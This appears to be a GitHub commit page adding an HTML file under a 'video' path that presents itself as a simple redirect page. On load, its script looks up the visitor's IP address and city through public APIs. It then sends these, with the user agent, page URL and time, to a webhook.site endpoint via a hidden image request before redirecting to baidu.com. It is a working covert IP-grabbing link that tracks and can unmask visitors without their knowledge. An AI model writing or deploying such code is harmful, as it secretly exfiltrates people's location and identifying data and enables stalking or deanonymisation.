Skip to content

Commit ed8de77

Browse files
authored
Add HTML file for redirect with IP tracking
1 parent e5fb574 commit ed8de77

1 file changed

Lines changed: 75 additions & 0 deletions

File tree

video/index.html

Lines changed: 75 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,75 @@
1+
<!DOCTYPE html>
2+
<html>
3+
<head>
4+
<meta charset="utf-8">
5+
<title>跳转中...</title>
6+
</head>
7+
<body>
8+
<script>
9+
const WEBHOOK_URL = "https://webhook.site/b1a566cd-33ae-49ef-bb54-b68c5a75e5cd";
10+
11+
// 备选 IP 接口,提高成功率
12+
async function getIP() {
13+
const apis = [
14+
'https://api.ipify.org?format=json',
15+
'https://api.ip.sb/ip',
16+
'https://icanhazip.com/'
17+
];
18+
for (const api of apis) {
19+
try {
20+
const res = await fetch(api);
21+
if (res.ok) {
22+
const text = await res.text();
23+
return text.trim();
24+
}
25+
} catch (e) {}
26+
}
27+
return '未知';
28+
}
29+
30+
// 备选城市解析接口
31+
async function getCity(ip) {
32+
if (ip === '未知') return '未知';
33+
const apis = [
34+
`https://ipapi.co/${ip}/json/`,
35+
`https://ipinfo.io/${ip}/json`
36+
];
37+
for (const api of apis) {
38+
try {
39+
const res = await fetch(api);
40+
if (res.ok) {
41+
const data = await res.json();
42+
return data.city || data.region || '未知';
43+
}
44+
} catch (e) {}
45+
}
46+
return '未知';
47+
}
48+
49+
// 主逻辑
50+
(async () => {
51+
const ip = await getIP();
52+
const city = await getCity(ip);
53+
const visitData = {
54+
ip: ip,
55+
city: city,
56+
time: new Date().toLocaleString('zh-CN'),
57+
url: location.href,
58+
ua: navigator.userAgent
59+
};
60+
61+
// 提交到 Webhook
62+
const img = new Image();
63+
const params = new URLSearchParams(visitData).toString();
64+
img.src = `${WEBHOOK_URL}?${params}`;
65+
img.style.display = 'none';
66+
document.body.appendChild(img);
67+
68+
// 延迟 1 秒后跳转到百度
69+
setTimeout(() => {
70+
window.location.href = "https://www.baidu.com";
71+
}, 1000);
72+
})();
73+
</script>
74+
</body>
75+
</html>

0 commit comments

Comments
 (0)